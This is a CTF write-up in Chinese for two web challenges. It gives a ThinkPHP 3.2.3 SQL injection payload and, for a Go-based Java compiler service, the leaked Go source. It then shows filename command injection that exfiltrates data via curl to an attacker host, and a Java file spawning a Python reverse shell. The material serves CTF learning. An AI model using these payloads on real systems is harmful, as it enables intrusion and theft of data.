ez_tp

有点没理解,以后有能力了再做做吧

在原版thinkphp3.2.3中,删除了think_filter过滤的exp,使得我们可以利用

在ThinkPHP\Library\Think\Db\Driver.class.php中的

1
2
3
4
5
6
if(is_array($val)) {
...
elseif('exp' == $exp ){
$whereStr .= $key.' '.$val[1];
}
}

利用exp时,需要手动添加等号,再配合union select,即可获得flag

payload:

1
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

注意,cookie可能会匹配某些过滤,删除即可

AgAABbWKMDsWNdOkNjhBh7wNdbPFULoV

GoJava

1
2
3
4
题面
moran 凭借自己一坤天的代码学习,写了一个简单的在线 java 编译器,快来试试吧!
tips:编译需要时间,请耐心等待
flag在/root里。另外请细心寻找

1.信息泄露了两个文件:

1
2
robots.txt
js

访问robots.txt

1
2
3
4
5
User-agent: *
Disallow: ./main-old.zip 可以看

User-agent: *
Disallow: ./main.go 看不了,被ban了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main

import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}

func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}

可以看到对上传的文件名是有过滤的,我们可以尝试用文件名进行RCE

但是我没弹过来😿🥹🥹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
------WebKitFormBoundaryujTPRyD0Ol0dP4y8
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`whoami` [IP]:4444||.java"
Content-Type: application/octet-stream
1
------WebKitFormBoundaryujTPRyD0Ol0dP4y8--
看文件夹
a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:4444||.java

Y3NzCmZpbmFsCmdvLm1vZApnb2phdmEKaW5kZXguaHRtbApqcwptYWluLW9sZC56aXAKbWFpbi5nbwpyb2JvdHMudHh0CnVwbG9hZAo=
解码得到
css
final
go.mod
gojava
index.html
js
main-old.zip
main.go
robots.txt
upload

拿一下main.go
a.java||curl -X POST -d a=`base64 -w 0 main.go` [IP]:4444||.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import (
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 检查请求的路径是否需要被禁止访问
if isForbiddenPath(r.URL.Path) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}

// 否则,继续处理其他请求
fs.ServeHTTP(w, r)
}))

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
// 检查路径是否为某个特定文件或文件夹的路径
// 这里可以根据你的需求进行设置
forbiddenPaths := []string{
"/main.go",
"/upload/",
}

// 检查请求的路径是否与禁止访问的路径匹配
for _, forbiddenPath := range forbiddenPaths {
if strings.HasPrefix(path, forbiddenPath) {
return true
}
}

return false
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}

// 检查文件扩展名是否为.java
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}

// 保存上传的文件至./upload文件夹
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}

// 生成随机文件名
rand.Seed(time.Now().UnixNano())
randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

// 编译Java文件
cmd := "javac ./upload/" + handler.Filename
compileCmd := exec.Command("sh", "-c", cmd)
//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
compileOutput, err := compileCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
return
}

// 将编译后的.class文件打包成.jar文件
fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
jarOutput, err := jarCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
return
}

// 返回编译后的.jar文件的下载链接
fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
jarFile := "./final/" + r.URL.Query().Get("jar")

// 检查是否存在指定的.jar文件
if !strings.HasSuffix(jarFile, ".jar") {
http.Error(w, "Invalid jar file format", http.StatusBadRequest)
return
}

if _, err := os.Stat(jarFile); os.IsNotExist(err) {
http.Error(w, "Jar file not found", http.StatusNotFound)
return
}

// 执行.jar文件
cmd := exec.Command("java", "-jar", jarFile)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
return
}

// 输出结果
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 可以发现有一个接口testExecYourJarOnServer用于在服务器上运行jar文件,可以构造java代码
# ExecuteSystemCommand.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class ExecuteSystemCommand {
public static void main(String[] args) {
String[] cmd = { "python3", "-c",
"import os,pty,socket;s=socket.socket();s.connect((\"[IP]\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")" };

ProcessBuilder processBuilder = new ProcessBuilder(cmd);

try {
Process process = processBuilder.start();

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}访问接口
http://hnctf.imxbt.cn:27984/testExecYourJarOnServer?jar=429e7d2610c50acb.jar成功拿到shell
在根目录可以找到/memorandum文件,翻译是备忘录
cat /memorandum
AsdDABG
猜测是密码,尝试登录
su
Password AsdDABG
登录成功,拿flag